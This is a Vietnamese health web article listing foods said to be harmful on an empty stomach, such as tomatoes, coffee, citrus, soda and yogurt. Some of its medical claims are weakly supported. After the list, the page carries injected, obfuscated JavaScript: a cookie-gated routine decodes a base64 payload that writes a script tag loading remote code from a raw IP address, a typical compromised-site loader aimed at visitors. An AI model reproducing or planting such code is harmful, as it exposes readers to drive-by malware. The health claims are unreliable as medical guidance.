Những thực phẩm nên tránh ăn khi bụng đói

[adrotate banner=”10″]

Dạ dày phản ứng với các loại thực phẩm khác nhau khi chưa có thức ăn nào trong dạ dày.

Một số loại thực phẩm dù lành mạnh được liệt kê dưới đây nhưng không nên ăn khi bụng đói vì chúng có thể gây tiêu chảy, axit, rối loạn dạ dày…, theo naturalnews.

Cà chua. Ăn cà chua khi bụng đói có thể làm tăng nồng độ axit trong dạ dày do axit tannic trong cà chua. Thói quen ăn uống này có thể làm tăng nguy cơ viêm loét dạ dày.[adrotate banner=”4″]

Cà phê. Uống cà phê hoặc trà khi bụng đói có thể gây đau bụng và buồn nôn. Cà phê cũng có thể làm tăng nồng độ axit trong dạ dày.

Các loại trái cây họ cam quýt. Cam, chanh và trái cây cùng họ có thể gây ra vấn đề cho những người có thực quản dưới bị viêm.
[adrotate banner=”5″] Đồ uống có đường. Đồ uống có đường (bao gồm nước trái cây tươi) nhanh chóng phá vỡ thành glucose máu, do đó tăng cảm giác đói và thèm.

Đồ uống có ga. Uống đồ uống có ga khi bụng đói có thể làm giảm cung cấp máu trong dạ dày và gây tổn hại màng nhầy.
Các loại gia vị. Gia vị có thể thúc đẩy sản xuất axit dạ dày và làm tổn thương niêm mạc dạ dày nếu dùng gia vị khi bụng đói.[adrotate banner=”3″]

Sữa chua. Nồng độ axit cao trong dạ dày rỗng làm giảm tất cả các lợi ích của vi khuẩn axit lactic trong sữa chua.
#(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘

Leave a Reply

Your email address will not be published. Required fields are marked *

This carousel is empty, please add some logos.